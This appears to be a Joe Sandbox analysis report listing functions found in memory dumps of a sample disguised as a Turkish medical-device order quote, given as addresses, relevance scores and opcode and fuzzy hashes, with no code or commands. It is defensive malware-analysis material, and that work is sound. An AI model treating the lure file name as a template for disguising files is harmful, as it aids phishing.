Instruction ID: df486465bbe8afddbdb2a3de65d1cb69a1d22ef3af65026bc35916472aa327c9
Opcode Fuzzy Hash: 3481b05e8c82b3e0aa376f129e1138505e22ef5fa5bac9108eee7462b0f75138
Instruction Fuzzy Hash: 59113A78E042499FDB04DBA8D588EBDB7F5FF88314F148269E844AB256D7709941CF60

Function 029AAEBA Relevance: 1.3, Strings: 1, Instructions: 50COMMON

Download Yara Rule

Strings

(oq, xrefs: 029AAECD

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID: (oq
API String ID: 0-1999159160
Opcode ID: 1fb40810c1edec4c63934aa934ba8907a972c562bf2799f5efc618de5dde5320
Instruction ID: a1c47afd8a51298377aef0f7c891bf912b515286714446c20e5c72187502ae39
Opcode Fuzzy Hash: 1fb40810c1edec4c63934aa934ba8907a972c562bf2799f5efc618de5dde5320
Instruction Fuzzy Hash: 0211C472710305AFCB108FA4EC66BADBBB5FB8C300F145025FA1597250DB319812CBA0

Function 029AE007 Relevance: .7, Instructions: 652COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7dc8edd956acd096851471b5ed8a4ad0df5188c4c6e1974d4416b3859035ff0d
Instruction ID: 962a07f1f0103a05932af542209099632b4fabe601669ae83234740adc8a4461
Opcode Fuzzy Hash: 7dc8edd956acd096851471b5ed8a4ad0df5188c4c6e1974d4416b3859035ff0d
Instruction Fuzzy Hash: 7812A7754356578FE6642B20E6AE17FBF68FB0F363B44BC11F11EA01419F78508A9A22

Function 029AE018 Relevance: .6, Instructions: 647COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd17030c660d170f20ec36465f2b2d52e4d9435a56fcdaaf04ce6b3181420fc1
Instruction ID: 00aee6b79281eef6f88827bb0f531d1e1295ebe5fb5fe68b208500679924f07b
Opcode Fuzzy Hash: dd17030c660d170f20ec36465f2b2d52e4d9435a56fcdaaf04ce6b3181420fc1
Instruction Fuzzy Hash: 7912A6754356578FE6642B20E6AE17FBF68FB0F363B44BC11F11EA00419F78508A9A22

Function 029A80D8 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab3684373ef008e1e575de54dea277d43b8ea8b1c7d60b6e3ceb5ce13eb05ea8
Instruction ID: b8a2af64a9e23470b46f1df26eca9c32a109793694a136c87f1ea3f0057758f6
Opcode Fuzzy Hash: ab3684373ef008e1e575de54dea277d43b8ea8b1c7d60b6e3ceb5ce13eb05ea8
Instruction Fuzzy Hash: 2171F5347006058FDB15DF68C8A8ABE7BEABF89344F1944A9E806DB361DB74DC41CB91

Function 029AF748 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4485e5bff91b0b71f8d1ac9931d91ae15a96d138b4f724cecdc8a834cd13dbda
Instruction ID: b1a0598dbbe083d69458cd751901a37beb9636d402392a92ed2d5e440967217b
Opcode Fuzzy Hash: 4485e5bff91b0b71f8d1ac9931d91ae15a96d138b4f724cecdc8a834cd13dbda
Instruction Fuzzy Hash: 2151E178D00318DFEB14DFA5D858BADBBB2FF88300F208129D805AB298DB755A45CF54

Function 029AD548 Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d3963251812acfb52a974e1d5118a5aabc0e93c7415628187f2adeb44d8ebb6
Instruction ID: a89c8f9f94cf1e4c2b31e3acfedc2796e925c440910cead760c2882f47527e57
Opcode Fuzzy Hash: 2d3963251812acfb52a974e1d5118a5aabc0e93c7415628187f2adeb44d8ebb6
Instruction Fuzzy Hash: 04519478E01208DFDB54DFA9D98499DBBF2FF89300F248169E819AB364DB30A941CF50

Function 029A41A0 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cba4f88fe472c07e5530af28bed2ab59346717fc2d43b5aec1ae269972603c1f
Instruction ID: fbf1816825b5321c166c8efa40c1826eff6ab6a8e3fbef38e3f5ec25c3790c57
Opcode Fuzzy Hash: cba4f88fe472c07e5530af28bed2ab59346717fc2d43b5aec1ae269972603c1f
Instruction Fuzzy Hash: 51518F75E01308CFCB08EFA9D59499DBBF6FF89310B209469E815AB364DB35A842CF50

Function 029AA303 Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d058d6243f2d21048f82a1059dc68d84e80144944bf332fd163982688f098927
Instruction ID: 2ee422a4454bdf577ea9a4150b04dd90dfd913fafbc05ee343fc8b294d9e41a2
Opcode Fuzzy Hash: d058d6243f2d21048f82a1059dc68d84e80144944bf332fd163982688f098927
Instruction Fuzzy Hash: 8041AC31A00349DFDF15CFA8C858B9EBBB6AF89310F048456F909AB291D774E914CB90

Function 029AAF00 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0481c518f8f281ba02c2e31a9a0ac75e2fd5a0cf8bc5ac72884bfd4a27458ba1
Instruction ID: 9c5cdbf89e198b23ed459ba15d474bd6d2798e6c3fd872396dcd461dbe8cb6ec
Opcode Fuzzy Hash: 0481c518f8f281ba02c2e31a9a0ac75e2fd5a0cf8bc5ac72884bfd4a27458ba1
Instruction Fuzzy Hash: 5831C335B103049FDB049F64D8657AE7BB7ABC8350F144069E506D7390DE359C02CB90

Function 029A5658 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19d688be8e9972266a62c7ba87938f6028a8893638ff0f2bfce4df9a958dec24
Instruction ID: 0cdcb31aa2f27a5c8ada67ea8b2eebea6b68bd55423fc27e2fd0d7ae11e559a4
Opcode Fuzzy Hash: 19d688be8e9972266a62c7ba87938f6028a8893638ff0f2bfce4df9a958dec24
Instruction Fuzzy Hash: A6316E35700209DFCF019F68E894AAE3BB6FF88314F458464F9159B294CB39D962CBA1

Function 029A8370 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc6cdb9c87958af92f0f34afbf991a1ef96c16d390b94db53ffd203311821e65
Instruction ID: 18d3a565f20530e123d0e607c9d3c33a93bea517a4d7acb8d0eec078d2dbf639
Opcode Fuzzy Hash: cc6cdb9c87958af92f0f34afbf991a1ef96c16d390b94db53ffd203311821e65
Instruction Fuzzy Hash: E221D0313143504BDB25172A9864B3E6BEBBFC5759B088479E80ACB699EF29CC02D3C1

Function 029A8380 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 321e3e8805a2ba4cb80a5f2b2738a524c18774f4cfd7d8db1958e0e8112ebc33
Instruction ID: 4407c3aff2ed61fa732126f828a8015449475211f4b8830d6dfc63631ebdc80f
Opcode Fuzzy Hash: 321e3e8805a2ba4cb80a5f2b2738a524c18774f4cfd7d8db1958e0e8112ebc33
Instruction Fuzzy Hash: E021AC303143104BEB245A2A986473E6ADBBFC4758F148439E40ACB799EF69CC42D3D1

Function 029A28F0 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6a797f3af1818731e542119d2b89e79f0a998aab44571d91080e921587eeb8d
Instruction ID: 102bae6cbca09e468041c485b586c49258eeacf076312edf2e7cdcc964899846
Opcode Fuzzy Hash: b6a797f3af1818731e542119d2b89e79f0a998aab44571d91080e921587eeb8d
Instruction Fuzzy Hash: EB218135E003189FCB14DF28C850BAE7BB9EBD9760B608519D9199B384DB31EA46CBD1

Function 029AF739 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6eb50cb91cef16ef4019021ff708eedc69cddf55fad1553dd9caa2dfad5acf08
Instruction ID: adcd1f204c8bd27671393141777215b8e5a32b85ed15d71240448aad78862981
Opcode Fuzzy Hash: 6eb50cb91cef16ef4019021ff708eedc69cddf55fad1553dd9caa2dfad5acf08
Instruction Fuzzy Hash: 5B311474D11318DFEB04CFA5D4647EDBBB2BF89300F508829D805BB284DBB9564ACB50

Function 029A6300 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b716708f9093b9dee82a4dde3a6500614ef5e1dbf60d79af0af9621b3ad267ba
Instruction ID: 0f581f999497c6b8dd2aa0a7fa9b68d3b43cf2f97ce78e63b94b46ca0af6029d
Opcode Fuzzy Hash: b716708f9093b9dee82a4dde3a6500614ef5e1dbf60d79af0af9621b3ad267ba
Instruction Fuzzy Hash: 4221A1357006118BCB159B29D464A2EB7AAEF89755B098469E926CB394CF35DC03CBD0

Function 028AD044 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3758615357.00000000028AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 028AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_28ad000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21f7941da71f16d4f43565d638908e2ee79052f3194f3ef2014e5b3ae22c9bb1
Instruction ID: 74e39aec7489e172dabbc3667947446fee1a3eb506df11395252db7e836a5dc2
Opcode Fuzzy Hash: 21f7941da71f16d4f43565d638908e2ee79052f3194f3ef2014e5b3ae22c9bb1
Instruction Fuzzy Hash: 2421257D504204AFEB14CF20C9D5B16BBA1FB88318F20C56DE849CF642CB3AD447CA62

Function 029AAEF0 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21fdc86702b205f264b6e0d22476e6725db39a8fb1f7d36fcdd88203e0c201b0
Instruction ID: e017ef84b4e4d9d87df89cf7cd43eebcdcd21578eb1aed70a32078231a4021ee
Opcode Fuzzy Hash: 21fdc86702b205f264b6e0d22476e6725db39a8fb1f7d36fcdd88203e0c201b0
Instruction Fuzzy Hash: 2921A476B102049FCB148F54DC96BADBFB5FB8C310F145026F905A7390DA719C02CB90

Function 029A4285 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30952f7c85b9351bc2cccff4109f4d87ba2ac421b516ef5416adef96c319e49d
Instruction ID: df04c40f1ae03bcb09f8c8d770fd8a1d0dfffbca13a448e013dd7e6f9c1f6047
Opcode Fuzzy Hash: 30952f7c85b9351bc2cccff4109f4d87ba2ac421b516ef5416adef96c319e49d
Instruction Fuzzy Hash: 1A318078E01308DFCB44EFA8E59499DBBB6FF49304B205469E819AB364DB35AD06CF40

Function 029A5649 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb2891cae2893f4231e42f9ddac266f161b74734f763646ec0eb20363b69aba4
Instruction ID: ee6e90b5ec3e80c77fada9b221fda9f1418d358fcb8e491963e6681207900b10
Opcode Fuzzy Hash: bb2891cae2893f4231e42f9ddac266f161b74734f763646ec0eb20363b69aba4
Instruction Fuzzy Hash: E321C075B016098FDB01AF68E454B6E3BA6EB48314F458464F905DB358CB34DA52CBE1

Function 029A9761 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09b164a11a3348146ad5a78abc9b1919ed138ad8100db3c502f2d3cdf1626896
Instruction ID: 5d998053f1f089bdc32b974ba89e053ae59fd2e5b471a4c9068213450971b2d7
Opcode Fuzzy Hash: 09b164a11a3348146ad5a78abc9b1919ed138ad8100db3c502f2d3cdf1626896
Instruction Fuzzy Hash: DA217C35E012489FEB05CFA5D5A0AEEBFBAFF49305F248469E415E6290DB34D942CF60

Function 029A62F0 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f71d67206fc9e8a56cc6084232a17110ca79eb0f23fea3e2f38169772c7f1154
Instruction ID: e0ab657ffe202633581bed1bb1ef9d9070d9dfc06a92fee71800fa81b4920bb9
Opcode Fuzzy Hash: f71d67206fc9e8a56cc6084232a17110ca79eb0f23fea3e2f38169772c7f1154
Instruction Fuzzy Hash: 6211C1357046118FCB158B29D46892E7BAAEF8A35570D44A9E516CB3A4DF25DC03C790

Function 029AF658 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25812d27fbc7c0bc566594fa3cb2f1cfcc79dc6d73b0ae954aaa1ff00139a54d
Instruction ID: ecd4f81049548cc5f37cf6f1af42354ec197c3e0f3c403822cfe5838a1665312
Opcode Fuzzy Hash: 25812d27fbc7c0bc566594fa3cb2f1cfcc79dc6d73b0ae954aaa1ff00139a54d
Instruction Fuzzy Hash: F8216D78D003499FEF05EFA8D54068EBBF2FF41314F1486AAC0549F2A5EB745A068F82

Function 029AF668 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 624524074662480b70a509f8bc85022c42561dd1662642f8c176abf6dae846f8
Instruction ID: 574af17ec71c9f178d87868430f20ce71ced8ee62ffd1bd264bdd65cf9dd633c
Opcode Fuzzy Hash: 624524074662480b70a509f8bc85022c42561dd1662642f8c176abf6dae846f8
Instruction Fuzzy Hash: CB110778E0020D9FEB44EFB9D58079EBBF2FB45304F1485A9C1189B295EB705A069F91

Function 029A27F0 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cedc298628b89ea20cf74b3928400fd5fead4422687f87beb485df0205abe92
Instruction ID: f258f344e9816fb946828355355e099b6c3c4f68988a3440ff34c94cd02703e4
Opcode Fuzzy Hash: 2cedc298628b89ea20cf74b3928400fd5fead4422687f87beb485df0205abe92
Instruction Fuzzy Hash: 8321CF74C002098FCF40EFA9D9456EEBBF4FB19300F10552AE805B3214EB345A95CBA1

Function 028AD03F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3758615357.00000000028AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 028AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_28ad000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e020fc52024e7c20771691695641137c464337d5c785334117d46b726f4046fe
Instruction ID: efdd0693346dbf957d4e0ff61e136c0a7f47ae37b915d500d2d124df1fd304a5
Opcode Fuzzy Hash: e020fc52024e7c20771691695641137c464337d5c785334117d46b726f4046fe
Instruction Fuzzy Hash: 2011BE79504244CFDB11CF10D5D4B15FBA2FB48314F24C6ADE8498BA52C73AD44ACF51

Function 029A5EA8 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eab1d570829332c50b38c2fb558f2cf8aec90d9ffd3d9f859097162e4708c754
Instruction ID: bf217dad007e60249d02cf91b6851272ac68a1f416606af47499f0a33bbcfbb3
Opcode Fuzzy Hash: eab1d570829332c50b38c2fb558f2cf8aec90d9ffd3d9f859097162e4708c754
Instruction Fuzzy Hash: C401D632B002187BCB159E999810AAF3FEBDBC8750F598029F905D7284CE758D118BD0

Function 029AABE0 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fbc7438d83aefd336acdcd6c03a80f4d68a13ad65545d26ed0b8be7bbfafa68
Instruction ID: bbbb9595164c2e06ed6d16b71f9486d06696ed42ef467827eefb669fbe584cbe
Opcode Fuzzy Hash: 7fbc7438d83aefd336acdcd6c03a80f4d68a13ad65545d26ed0b8be7bbfafa68
Instruction Fuzzy Hash: A0F062317007104B97256A2E9465A2EB6BEEFC8A55316406AE905C7361EF21CC03C7D0

Function 029A5E98 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09d2791aef2cfcb7e7996e09c8ff5e6a4072091f989435b43d052f1ec0cbfccf
Instruction ID: 2dba0c083c7c7a6122900703b6e8ce98f8b9c67b447007150eb87e45d04f809a
Opcode Fuzzy Hash: 09d2791aef2cfcb7e7996e09c8ff5e6a4072091f989435b43d052f1ec0cbfccf
Instruction Fuzzy Hash: BE01A472A002187FDB128F95AC60BEF3FAAEB88750F188029F504C6240DA758913DB94

Function 029AE8E8 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87e6b0d1d56342b4233f14b609d314e3c63bac1395b796315175bd854fb1c7bf
Instruction ID: 2baeb9273f81f318e7e2c1e496aeb75294df9456f00f38c35dbd119bab7e33f4
Opcode Fuzzy Hash: 87e6b0d1d56342b4233f14b609d314e3c63bac1395b796315175bd854fb1c7bf
Instruction Fuzzy Hash: CC015E78D00209EFDF41DFA4E484AAEFBB1FB49304F504465D914A3354D7746A56CF90

Function 0289D007 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3758542705.000000000289D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0289D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_289d000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6fed436fd4a679d95122f0b899e1c4be9307421e5774a520ee12704cc2dd4a4
Instruction ID: ae5ef8aab33eb9dc34017e03a9a433b27471bb76271a6e1668f7532939579065
Opcode Fuzzy Hash: d6fed436fd4a679d95122f0b899e1c4be9307421e5774a520ee12704cc2dd4a4
Instruction Fuzzy Hash: E301F4755097C0AFC712CF15C854C22BFB9EF8666071D85CAE8858F263C635EC06CB61

Function 0289D01F Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3758542705.000000000289D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0289D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_289d000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bde4a4e88ad4eec4f55ae847428c995c3f14163e5fb694051f9bb5f746b8b127
Instruction ID: 8eec6399c84c66c966e713903f42f1fae9188ce413008364fbc3f401ec8b255b
Opcode Fuzzy Hash: bde4a4e88ad4eec4f55ae847428c995c3f14163e5fb694051f9bb5f746b8b127
Instruction Fuzzy Hash: 52F04F76600604AF8720CF06C884C27FBADEBC4670319C55AF84A4B612C271EC02CEA0

Function 029A28A3 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3db8ee976e1cf8b9d133b2ac8fbe5bf903b2da743e91d51855aefbd0082d7ed1
Instruction ID: 04a552b7efaa7975d3bb3055140c1052a5dfae3d0e80e8d7b53ab68ffcbe149c
Opcode Fuzzy Hash: 3db8ee976e1cf8b9d133b2ac8fbe5bf903b2da743e91d51855aefbd0082d7ed1
Instruction Fuzzy Hash: 54E08632D1026957CB11E7A5DC016DEBF38EF86324F944665D41133580EB30A569C2A0

Function 029A28B0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f8365a2e771cc66e296e55e15752b38936d23825db561e8627ca873e0de347c
Instruction ID: 01bee33d49dbe891f419d92e91c8902dac4829102c03bb42200e91b9da9e6017
Opcode Fuzzy Hash: 9f8365a2e771cc66e296e55e15752b38936d23825db561e8627ca873e0de347c
Instruction Fuzzy Hash: 46D05B31D2033A57CB10E7A5DC044DFFB38EED5321B514666D51437144FB706659C6E1

Function 029AD6D4 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
